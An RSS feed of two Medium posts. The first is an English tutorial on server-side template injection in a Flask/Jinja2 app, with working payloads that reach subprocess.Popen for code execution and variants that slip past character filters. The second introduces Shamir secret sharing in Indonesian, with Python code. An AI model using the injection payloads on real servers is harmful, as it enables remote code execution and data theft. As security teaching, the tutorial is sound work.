<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zaki G on Medium]]></title>
        <description><![CDATA[Stories by Zaki G on Medium]]></description>
        <link>https://medium.com/@zakigeyan?source=rss-8096f33218f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*hFQabjAiNd5D-U3k</url>
            <title>Stories by Zaki G on Medium</title>
            <link>https://medium.com/@zakigeyan?source=rss-8096f33218f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 22:01:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zakigeyan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Server-Side Template Injection]]></title>
            <link>https://medium.com/fmisec/server-side-template-injection-e1cf2c4e2fb?source=rss-8096f33218f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1cf2c4e2fb</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Zaki G]]></dc:creator>
            <pubDate>Sat, 06 Feb 2021 07:54:03 GMT</pubDate>
            <atom:updated>2021-02-06T07:54:03.206Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*KwCf-Lz8lcBPTlX59E2nyQ.png" /><figcaption>Server-Side Template Injection</figcaption></figure><blockquote>Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.</blockquote><blockquote>— James Kettle. Director of Research at PortSwigger Web Security</blockquote><p>As mentioned by James Kettle, attacks can be carried out directly to the internal web application, which usually leads to RCE. Before discussing SSTI further, let us first discuss about the template itself.</p><h4>What is Templates?</h4><p>Templates may be familiar in the world of web development. When a website has a page that has the same structure but different content, usually a template will be used by a developer. Template contains a <strong>static part</strong> which is the frame of a page that does not change, while <strong>dynamic part</strong> is a part of a page that changes which is affected by the session, id, or other parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*ubTVQqM50eiUmM7FPKM2Jg.png" /><figcaption>Example of Template in Jinja</figcaption></figure><p>In the picture above, the dynamic part of the template is written in the format {{ variable }} which is the templating format of a template engine named <strong>Jinja</strong>.</p><h4>Where is the vulnerability?</h4><p>As the title, template injection occurs when user input is mixed into the rendering process of the template itself. When the user enters the query How to be a hacker 101, the query will be displayed as Results for How to be a hacker 101, which means it is running as it should. However, when the user enters the query input {{7 * 7}} and it displays Results for 49, the Template has been successfully injected. This is a security hole that needs attention because the template renders the format it receives from user input. This vulnerability can be fatal if the attacker can perform RCE (using reverse-shell or not) and steal some important data on the server side.</p><h4>How to exploit?</h4><p>It’s time for us to hack a very simple web application called Search App, written in python that uses Flask web framework.</p><pre>#!/usr/bin/python<br>from flask import Flask, request, make_response, render_template<br>from jinja2 import Environment</pre><pre>from articles import POSTS<br>from waf import sanitize</pre><pre>app = Flask(__name__)<br>Jinja2 = Environment()</pre><pre><a href="http://twitter.com/app">@app</a>.route(&quot;/&quot;, methods=[&#39;GET&#39;, &#39;POST&#39;])<br>def home():<br>    if request.method == &#39;POST&#39;:<br>        query = request.form[&#39;query&#39;]<br>        query = sanitize(query)<br>        query = Jinja2.from_string(query).render()<br>        posts = []<br>        for po in POSTS:<br>            if query.lower() in po[&#39;title&#39;].lower():<br>                posts.append(po)<br>        return make_response(render_template(&#39;index.html&#39;, data=posts, query=query))<br>    else:<br>        posts = POSTS<br>        return make_response(render_template(&#39;index.html&#39;, data=posts))</pre><pre>if __name__ == &quot;__main__&quot;:<br>    app.run()</pre><p>Source code of index.html.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>  &lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot; /&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt;<br>    &lt;link<br>      rel=&quot;stylesheet&quot;<br>      href=&quot;{{ url_for(&#39;static&#39;, filename=&#39;style.css&#39;) }}&quot;<br>    /&gt;<br>    &lt;title&gt;Document&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;div class=&quot;wrap&quot;&gt;<br>    &lt;h2&gt;&lt;a href=&quot;/&quot;&gt;Search App&lt;/a&gt;&lt;/h1&gt;<br>      &lt;form action=&quot;/&quot; method=&quot;post&quot;&gt;<br>        &lt;input type=&quot;text&quot; name=&quot;query&quot; id=&quot;query&quot; /&gt;<br>        &lt;input type=&quot;submit&quot; value=&quot;Search&quot; /&gt;<br>      &lt;/form&gt;<br>      {% if query %}<br>      &lt;p style=&quot;padding: 5px 0&quot;&gt;Results for {{ query }}:&lt;/p&gt;<br>      {% endif %}<br>      {% for po in data %}<br>      &lt;div class=&quot;article&quot;&gt;<br>        &lt;h2&gt;{{ po.title }}&lt;/h2&gt;<br>        &lt;p&gt;{{ po.content }}&lt;/p&gt;<br>      &lt;/div&gt;<br>      {% endfor %}<br>    &lt;/div&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNAu3kdWbjFTnvz7E9Ej7g.png" /><figcaption>Home page of Search App</figcaption></figure><p>For this experiment, we assume the web application is not vulnerable to Cross-Site Scripting. The first step, we can test SSTI vulnerability by entering a simple payload such as {{ 7*7 }}.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVXp9VGCon7tkcNFNIv2vQ.png" /><figcaption>Check SSTI Vulnerability Payload</figcaption></figure><p>The inserted template format is successfully injected into the web application. How do we get RCE to the web application? Jinja template engine limits the input so we can’t do some python syntax like import module or others. But this is not a big deal because we can get RCE by using the Gadgets method. “In python, everything is an object”, thus we can use these Gadgets to call several methods or functions that we can use for RCE. Let’s put {{ &#39;asdf&#39;.__class__.__mro__[2].__subclasses__() }} as our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkkTYR4Tmaa7zt1_ygt9jw.png" /><figcaption>Subclasses of Objects</figcaption></figure><p>There are many subclasses of python objects displayed by the web application. We can find out which class or module we can use to launch an RCE attack. One of the modules that can be used is the <strong>subprocess.Popen</strong>, which in this case is at the 194th index.</p><p>By using payload {{ &#39;asdf&#39;.__class__.__mro__[2].__subclasses__()[194](&#39;id&#39;,stdout=-1,shell=True).communicate()[0] }} , we successfully perform RCE by executing the command id on the server-side shell. We can also execute the ls command and continue reading the file with the cat &lt;file&gt; command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GwpReNH3hzQknOmmWW-Lng.png" /><figcaption>id output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2tp3pvdXYqAqPaavs_hP9w.png" /><figcaption>ls output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzJlszFEYEb345MJZB-Qww.png" /><figcaption>cat flag.txt output</figcaption></figure><h4>Bypass blacklisted characters</h4><p>What if there are several characters that are blacklisted on the web application? Can we still exploit the web application? For example, some commands such as ls, cat, echo are blacklisted, we can still bypass with the concatenation technique. The idea is, we can rearrange the payload like the &#39;ls&#39; command to &#39;l&#39;&#39;s&#39; or &#39;\x6c\x73&#39;.</p><p>If the character . and _ are blacklisted, we can bypass in the following way:</p><pre>{{ &#39;asdf&#39;[&#39;\x5f\x5fclass\x5f\x5f&#39;][&#39;\x5f\x5fmro\x5f\x5f&#39;][2][&#39;\x5f\x5fsubclasses\x5f\x5f&#39;]()[194](&#39;ca&#39;&#39;t flag\x2etxt&#39;,stdout=-1,shell=True)[&#39;communica&#39;&#39;te&#39;]()[0] }}</pre><p>And if shell and = are also blacklisted, here is the final payload:</p><pre>{{ &#39;asdf&#39;[&#39;\x5f\x5fclass\x5f\x5f&#39;][&#39;\x5f\x5fmro\x5f\x5f&#39;][2][&#39;\x5f\x5fsubclasses\x5f\x5f&#39;]()[194](&#39;ca&#39;&#39;t flag\x2etxt&#39;,0,None,None,-1,None,None,False,True)[&#39;communica&#39;&#39;te&#39;]()[0] }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7mkL42KvC0ywsKBOk6xYQw.png" /><figcaption>Bypassing some blacklisted characters</figcaption></figure><h4>Conclusion</h4><p>SSTI is not only appears in python-based frameworks, but can be in other frameworks or programming languages such as PHP, Java, Javascript, Ruby, Golang and others. As a mitigation measure, what developers can do is to use WAF, add blacklisted characters, escape strings to user input, and use the latest and stable version of the framework. Remember, never trust user input data!</p><h4>References</h4><ul><li><a href="https://github.com/DiogoMRSilva/websitesVulnerableToSSTI">https://github.com/DiogoMRSilva/websitesVulnerableToSSTI</a></li><li><a href="https://hackmd.io/@Chivato/HyWsJ31dI">https://hackmd.io/@Chivato/HyWsJ31dI</a></li><li><a href="https://portswigger.net/research/server-side-template-injection">https://portswigger.net/research/server-side-template-injection</a></li><li><a href="https://stackoverflow.com/questions/12605498/how-to-use-subprocess-popen-python">https://stackoverflow.com/questions/12605498/how-to-use-subprocess-popen-python</a></li><li><a href="https://www.youtube.com/watch?v=SN6EVIG4c-0">https://youtube.com/watch?v=SN6EVIG4c-0</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1cf2c4e2fb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/server-side-template-injection-e1cf2c4e2fb">Server-Side Template Injection</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pengenalan Shamir Secret Sharing dan Implementasi]]></title>
            <link>https://medium.com/fmisec/pengenalan-shamir-secret-sharing-dan-implementasi-2a52bdbbe81d?source=rss-8096f33218f------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a52bdbbe81d</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[shamir-secret-sharing]]></category>
            <category><![CDATA[secret-sharing]]></category>
            <dc:creator><![CDATA[Zaki G]]></dc:creator>
            <pubDate>Tue, 17 Nov 2020 08:15:39 GMT</pubDate>
            <atom:updated>2020-12-01T17:36:14.544Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pengenalan dan Implementasi Shamir Secret Sharing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*67J-OneJKvcgZxJ14fy2Sw.png" /><figcaption>Example of Secret Sharing Scheme (source: Aleksandr Ometov)</figcaption></figure><h3>Pengenalan Secret Sharing</h3><p>Bayangkan jika kamu ingin membagikan sebuah informasi kepada 2 orang, misal PIN pada HP-mu yaitu <strong>789456</strong>. Solusi paling sederhananya ialah dengan memberikan angka <strong>789456</strong> ke orang pertama, lalu <strong>789456</strong> ke orang kedua. Tapi bagaimana jika kamu tidak ingin seseorang dari keduanya punya akses penuh ke PIN HP-mu? Pendekatan paling sederhana ialah dengan memberikan angka <strong>789</strong> ke orang pertama, lalu <strong>456</strong> ke orang kedua. Dengan demikian, mereka berdua harus saling bertukar informasi jika diharuskan untuk membuka HP-mu, dan salah satu dari mereka tentu saja tidak bisa mengakses HP mu jika salah satu lainnya tidak memberikan informasi yang ia miliki. Begitulah contoh sederhana dari Secret Sharing, yang mana pada contoh diatas, kita melakukan split informasi kepada 2 orang.</p><p>Salah satu contoh Secret Sharing yang sederhana ialah dengan meng-generate angka random, lalu kurangi PIN HP mu tadi dengan random tersebut. Misal, angka random tersebut adalah <strong>543401</strong>, maka <strong>789456</strong>–<strong>543401</strong>=<strong>246055</strong>. Dengan demikian, kamu bisa split informasi kepada dua orang tersebut dengan memberikan angka random (<strong>543401</strong>) ke orang pertama, lalu <strong>246055</strong> ke orang kedua. Jika mereka ingin mengakses HP-mu tentu saja mereka harus bertukar informasi lalu menjumlahkan kedua informasi yang mereka miliki (<strong>543401</strong>+<strong>246055</strong>=<strong>789456</strong>). Jika mereka tidak bertukar informasi, maka informasi parsial yang mereka miliki tidak dapat melakukan apa-apa.</p><blockquote>Apakah kita bisa melakukan Sharing kepada 3 orang atau lebih (misal ke 6 orang)? <strong>Tentu saja bisa.</strong></blockquote><blockquote>Apabila salah satu dari 6 orang tersebut kehilangan informasi parsial yang ia miliki (misal: mereka lupa atau file parsial tersebut corrupt/terhapus), apa kita masih bisa mengembalikan informasi secara utuh? <strong>Hmm… Tidak bisa.</strong></blockquote><p>Dua cara konvensional yang telah dijelaskan sebelumnya tidak dapat mengantisipasi kejadian tersebut, sehingga kita perlu algoritma yang reliable untuk melakukan Secret Sharing. Idenya, misal kita split informasi kepada 6 orang. Jika mereka ingin mengembalikan informasi secara utuh, minimal cukup 5 dari 6 orang saja yang saling bertukar informasi, dan 5 dari 6 orang tersebut bisa siapa saja diantara mereka. Atau jika kamu ingin, kamu bisa mengatur sehingga minimal 4 dari 6 orang saja yang saling bertukar informasi, atau lainnya.</p><h3>Shamir Secret Sharing</h3><p>Permasalahan ini telah dipecahkan oleh <strong>Adi Shamir </strong>(salah satu penemu enkripsi asimetris RSA)<strong> </strong>pada tahun 1979 melalui papernya yang berjudul <strong>How to Share a Secret</strong>. Ia mengembangkan Secret Sharing dengan mengambil sudut pandang geometri dan mengimplementasikan <em>secret information</em> merupakan titik koordinat <em>(0, m)</em> pada sebuah kurva, lalu <em>partial information </em>merupakan titik random <em>((x1, y1), (x2, y2), (x3, y3), …)</em> yang tersebar pada sebuah kurva.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*SA4oI_kZXcBbQpVlwln5zA.gif" /><figcaption>Curve of Shamir Secret Sharing (source: cs.cornell.edu)</figcaption></figure><p>Sering kali Secret Sharing disebut dengan <em>(n, t)</em> Secret Sharing Scheme. Semisal kamu melakukan split informasi ke 6 orang, namun minimal 4 orang untuk melakukan recover secret, maka itu biasa disebut <em>(6, 4)</em> Secret Sharing Scheme. Kurva yang dibentuk merupakan kurva dengan <em>t-1</em> derajat polinomial yang memenuhi persamaan berikut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*luSiBmHNLZ6uzGD2yvLOAw.png" /><figcaption>Equation of Secret Sharing Curve (source: cs.cornell.edu)</figcaption></figure><p>Jika kamu melakukan split informasi ke <em>n</em> orang, namun minimal 2 orang untuk melakukan recover secret, maka kurva yang terbentuk merupakan kurva dengan 1 derajat polinomial (yang biasa disebut dengan persamaan linear <em>y=ax+b</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*wqQ2onk4e-K6LfAEuGj8nA.gif" /><figcaption>Linear Equation (source: cs.cornell.edu)</figcaption></figure><p>Dengan memiliki 2 buah titik koordinat, kita bisa merekonstruksi persamaan dengan 1 derajat polinomial <em>y=ax+b</em>. Secara umum, dengan memiliki <em>t</em> buah titik koordinat, kita bisa merekonstruksi persamaan <em>t-1</em> derajat polinomial. Hal ini dapat dilakukan dengan menggunakan perhitungan <a href="https://en.wikipedia.org/wiki/Lagrange_polynomial"><strong>Lagrange Polynomial</strong></a>.</p><h3>Implementasi Secret Sharing</h3><p>Dalam implementasi, seluruh perhitungan Secret Sharing berada di bawah operasi modulo. Hal ini dilakukan untuk meningkatkan efisiensi dan menghindari algoritme berada pada <em>infinity field</em>. Skema ini juga memiliki kemiripan dengan <a href="https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction"><strong>Reed-Solomon Code</strong></a><strong> </strong>yang merupakan algoritme error correction. Reed-Solomon Code umum digunakan dalam transmisi data dan proses pembacaan QR Code ketika terdapat corrupt data. Reed-Solomon Code dapat merekonstruksi data yang corrupt berdasarkan sebagian data yang terbaca secara jelas.</p><p>Implementasi Secret Sharing pada real-world application meliputi:</p><ul><li>Secure Multi-party Computation</li><li>Meningkatkan kualitas data privacy</li><li>Penyimpanan data ke beberapa server, sehingga data masih dapat direcover apabila terjadi salah satu kegagalan server</li><li>Distribusi key ke beberapa nodes pada jaringan P2P</li><li>Pengamanan data ke beberapa server apabila terjadi kebocoran data pada suatu server</li></ul><p>Berikut contoh implementasi Secret Sharing yang ditulis menggunakan bahasa pemrograman python (dikutip dari <a href="https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing">Wikipedia</a>).</p><pre><em>&quot;&quot;&quot;</em><br><em>The following Python implementation of Shamir&#39;s Secret Sharing is</em><br><em>released into the Public Domain under the terms of CC0 and OWFa:</em><br><em>https://creativecommons.org/publicdomain/zero/1.0/</em><br><em>http://www.openwebfoundation.org/legal/the-owf-1-0-agreements/owfa-1-0</em><br><br><em>See the bottom few lines for usage. Tested on Python 2 and 3.</em><br><em>&quot;&quot;&quot;</em><br><br><strong>from</strong> <strong>__future__</strong> <strong>import</strong> division<br><strong>from</strong> <strong>__future__</strong> <strong>import</strong> print_function<br><br><strong>import</strong> <strong>random</strong><br><strong>import</strong> <strong>functools</strong><br><br><em># 12th Mersenne Prime</em><br><em># (for this application we want a known prime number as close as</em><br><em># possible to our security level; e.g.  desired security level of 128</em><br><em># bits -- too large and all the ciphertext is large; too small and</em><br><em># security is compromised)</em><br>_PRIME = 2 ** 127 - 1<br><em># 13th Mersenne Prime is 2**521 - 1</em><br><br>_RINT = functools.partial(random.SystemRandom().randint, 0)<br><br><strong>def</strong> _eval_at(poly, x, prime):<br>    <em>&quot;&quot;&quot;Evaluates polynomial (coefficient tuple) at x, used to generate a</em><br><em>    shamir pool in make_random_shares below.</em><br><em>    &quot;&quot;&quot;</em><br>    accum = 0<br>    <strong>for</strong> coeff <strong>in</strong> reversed(poly):<br>        accum *= x<br>        accum += coeff<br>        accum %= prime<br>    <strong>return</strong> accum<br><br><strong>def</strong> make_random_shares(minimum, shares, prime=_PRIME):<br>    <em>&quot;&quot;&quot;</em><br><em>    Generates a random shamir pool, returns the secret and the share</em><br><em>    points.</em><br><em>    &quot;&quot;&quot;</em><br>    <strong>if</strong> minimum &gt; shares:<br>        <strong>raise</strong> <strong>ValueError</strong>(&quot;Pool secret would be irrecoverable.&quot;)<br>    poly = [_RINT(prime - 1) <strong>for</strong> i <strong>in</strong> range(minimum)]<br>    points = [(i, _eval_at(poly, i, prime))<br>              <strong>for</strong> i <strong>in</strong> range(1, shares + 1)]<br>    <strong>return</strong> poly[0], points<br><br><strong>def</strong> _extended_gcd(a, b):<br>    <em>&quot;&quot;&quot;</em><br><em>    Division in integers modulus p means finding the inverse of the</em><br><em>    denominator modulo p and then multiplying the numerator by this</em><br><em>    inverse (Note: inverse of A is B such that A*B % p == 1) this can</em><br><em>    be computed via extended Euclidean algorithm</em><br><em>    http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation</em><br><em>    &quot;&quot;&quot;</em><br>    x = 0<br>    last_x = 1<br>    y = 1<br>    last_y = 0<br>    <strong>while</strong> b != 0:<br>        quot = a // b<br>        a, b = b, a % b<br>        x, last_x = last_x - quot * x, x<br>        y, last_y = last_y - quot * y, y<br>    <strong>return</strong> last_x, last_y<br><br><strong>def</strong> _divmod(num, den, p):<br>    <em>&quot;&quot;&quot;Compute num / den modulo prime p</em><br><br><em>    To explain what this means, the return value will be such that</em><br><em>    the following is true: den * _divmod(num, den, p) % p == num</em><br><em>    &quot;&quot;&quot;</em><br>    inv, _ = _extended_gcd(den, p)<br>    <strong>return</strong> num * inv<br><br><strong>def</strong> _lagrange_interpolate(x, x_s, y_s, p):<br>    <em>&quot;&quot;&quot;</em><br><em>    Find the y-value for the given x, given n (x, y) points;</em><br><em>    k points will define a polynomial of up to kth order.</em><br><em>    &quot;&quot;&quot;</em><br>    k = len(x_s)<br>    <strong>assert</strong> k == len(set(x_s)), &quot;points must be distinct&quot;<br>    <strong>def</strong> PI(vals):  <em># upper-case PI -- product of inputs</em><br>        accum = 1<br>        <strong>for</strong> v <strong>in</strong> vals:<br>            accum *= v<br>        <strong>return</strong> accum<br>    nums = []  <em># avoid inexact division</em><br>    dens = []<br>    <strong>for</strong> i <strong>in</strong> range(k):<br>        others = list(x_s)<br>        cur = others.pop(i)<br>        nums.append(PI(x - o <strong>for</strong> o <strong>in</strong> others))<br>        dens.append(PI(cur - o <strong>for</strong> o <strong>in</strong> others))<br>    den = PI(dens)<br>    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)<br>               <strong>for</strong> i <strong>in</strong> range(k)])<br>    <strong>return</strong> (_divmod(num, den, p) + p) % p<br><br><strong>def</strong> recover_secret(shares, prime=_PRIME):<br>    <em>&quot;&quot;&quot;</em><br><em>    Recover the secret from share points</em><br><em>    (x, y points on the polynomial).</em><br><em>    &quot;&quot;&quot;</em><br>    <strong>if</strong> len(shares) &lt; 2:<br>        <strong>raise</strong> <strong>ValueError</strong>(&quot;need at least two shares&quot;)<br>    x_s, y_s = zip(*shares)<br>    <strong>return</strong> _lagrange_interpolate(0, x_s, y_s, prime)<br><br><strong>def</strong> main():<br>    <em>&quot;&quot;&quot;Main function&quot;&quot;&quot;</em><br>    secret, shares = make_random_shares(minimum=3, shares=6)<br><br>    print(&#39;Secret:                                                     &#39;,<br>          secret)<br>    print(&#39;Shares:&#39;)<br>    <strong>if</strong> shares:<br>        <strong>for</strong> share <strong>in</strong> shares:<br>            print(&#39;  &#39;, share)<br><br>    print(&#39;Secret recovered from minimum subset of shares:             &#39;,<br>          recover_secret(shares[:3]))<br>    print(&#39;Secret recovered from a different minimum subset of shares: &#39;,<br>          recover_secret(shares[-3:]))<br><br><strong>if</strong> __name__ == &#39;__main__&#39;:<br>    main()</pre><h3>Secret Sharing in CTFs</h3><p>Pada kompetisi Capture The Flag (CTF), Secret Sharing dikategorikan pada permasalahan kriptografi. Beberapa kali Secret Sharing muncul pada beberapa CTF di kancah nasional maupun internasional, diantaranya:</p><ul><li>Crypto CTF 2019: Cat Sharing</li><li>zer0pts CTF 2020: Dirty Laundry</li><li>Babak Final Arkavidia 4 CTF 2018</li><li>Babak Final HackToday CTF 2020</li></ul><p>Kamu bisa mengunjungi <a href="https://cryptohack.org/">CryptoHack</a> jika tertarik ingin mencoba tantangan Secret Sharing dan Kriptografi lainnya. Terima Kasih.</p><h3>Referensi</h3><ul><li><a href="https://www.youtube.com/watch?v=iFY5SyY3IMQ">https://www.youtube.com/watch?v=iFY5SyY3IMQ</a></li><li><a href="http://users.cms.caltech.edu/~vidick/teaching/101_crypto/Shamir1979.pdf">http://users.cms.caltech.edu/~vidick/teaching/101_crypto/Shamir1979.pdf</a></li><li><a href="https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing">https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing</a></li><li><a href="https://www.cs.cornell.edu/courses/cs513/2000SP/SecretSharing.html">https://www.cs.cornell.edu/courses/cs513/2000SP/SecretSharing.html</a></li><li><a href="https://cstheory.stackexchange.com/questions/899/what-are-some-examples-of-secret-sharing-schemes-actually-being-used-in-real-wor">https://cstheory.stackexchange.com/questions/899/what-are-some-examples-of-secret-sharing-schemes-actually-being-used-in-real-wor</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a52bdbbe81d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/pengenalan-shamir-secret-sharing-dan-implementasi-2a52bdbbe81d">Pengenalan Shamir Secret Sharing dan Implementasi</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>